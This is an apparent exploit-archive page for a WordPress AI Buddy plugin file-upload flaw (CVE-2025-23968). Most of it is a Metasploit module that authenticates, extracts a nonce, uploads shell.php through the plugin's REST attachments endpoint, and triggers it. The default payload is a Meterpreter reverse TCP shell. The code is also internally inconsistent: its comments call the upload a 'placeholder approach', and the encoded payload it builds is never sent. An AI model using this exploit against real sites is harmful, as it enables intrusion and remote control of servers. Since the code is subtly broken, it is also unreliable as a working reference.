PACKETSTORM 9.1 CRITICAL

📄 WordPress AI Buddy 1.8.5 Shell Upload_PACKETSTORM:212499

9.1 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Description

WordPress AI Buddy plugin versions 1.8.5 and below remote shell upload exploit that leverages the REST API attachment functionality...
Visit Original Source

Basic Information

ID PACKETSTORM:212499
Published Dec 5, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : AI Buddy WordPress plugin 1.8.5 Universal RCE Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://ai.cibeles.net/ |
=============================================================================================================================================

POC :

[+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968

[+] Summary :

This module exploits an authenticated arbitrary file upload vulnerability in the
AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers
to upload PHP webshells via the REST API attachment functionality
[+] POC :

use exploit/multi/http/wp_ai_buddy_rce

set RHOSTS target.com

set USERNAME admin

set PASSWORD password123

exploit

##
# AI Buddy Authenticated RCE Module
# module for AI Buddy which requires authentication
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress AI Buddy Authenticated RCE',
'Description' => %q{
This module exploits an authenticated arbitrary file upload vulnerability in the
AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers
to upload PHP webshells via the REST API attachment functionality.
},
'Author' => [
'indoushka', # Metasploit module
'Ryan Kozak' # Original discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-23968'],
['URL', 'https://wpcenter.io/'],
['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [['Universal', {}]],
'DisclosureDate' => '2025-11-27',
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptString.new('USERNAME', [true, 'WordPress username']),
OptString.new('PASSWORD', [true, 'WordPress password'])
])
end

def check
return CheckCode::Unknown('Could not connect to target') unless wordpress_and_online?

check_code = check_plugin_version_from_readme('ai-buddy', '1.8.6')

if check_code.code == 'appears'
return CheckCode::Appears("Vulnerable AI Buddy version detected: #{check_code.details[:version]}")
end

CheckCode::Safe('AI Buddy not detected or version not vulnerable')
end

def exploit
# Login to WordPress
print_status("Authenticating with WordPress...")

cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
unless cookie
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
end

print_good("Successfully authenticated")

# Extract AI Buddy nonce
nonce = extract_ai_buddy_nonce(cookie)
unless nonce
fail_with(Failure::Unknown, 'Could not extract AI Buddy nonce')
end

print_good("Extracted nonce: #{nonce}")

# Upload webshell via REST API
upload_webshell(cookie, nonce)
end

def extract_ai_buddy_nonce(cookie)
print_status("Extracting AI Buddy nonce...")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'tools.php'),
'method' => 'GET',
'cookie' => cookie
})

unless res
fail_with(Failure::Unreachable, 'Could not access tools.php')
end

# Extract nonce from JavaScript
if res.body =~ /var ai_buddy_localized_data = ({.*?});/m
json_data = JSON.parse($1)
return json_data['ai_buddy_image_post_attachment']['nonce']
end

nil
end

def upload_webshell(cookie, nonce)
print_status("Uploading webshell via AI Buddy REST API...")

php_payload = payload.encoded

# For AI Buddy, we use a different approach since it fetches from URLs
# We'll create a simple PHP file that includes our payload
webshell_content = "<?php #{php_payload} ?>"

# Note: In practice, you'd need to host this file somewhere accessible
# For the module, we'll use a placeholder approach
payload_data = {
'title' => 'Exploit',
'caption' => 'Test',
'alt' => 'Test',
'description' => 'Test',
'url' => 'https://raw.githubusercontent.com/d0n601/d0n601/refs/heads/master/test.jpg',
'filename' => 'shell.php'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-json', 'ai-buddy', 'v1', 'wp', 'attachments'),
'method' => 'POST',
'cookie' => cookie,
'headers' => {
'X-Wp-Nonce' => nonce,
'Content-Type' => 'application/json'
},
'data' => JSON.generate(payload_data)
})

unless res
fail_with(Failure::Unreachable, 'No response from REST API')
end

if res.code == 200 && res.body.include?('success')
print_good("Webshell uploaded successfully")

# Trigger the payload
current_year = Time.now.year
current_month = Time.now.month.to_s.rjust(2, '0')
shell_url = "/wp-content/uploads/#{current_year}/#{current_month}/shell.php"

print_status("Triggering payload at #{shell_url}...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, shell_url),
'method' => 'GET'
}, 5)

else
print_error("Upload failed: #{res.body}")
end
end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.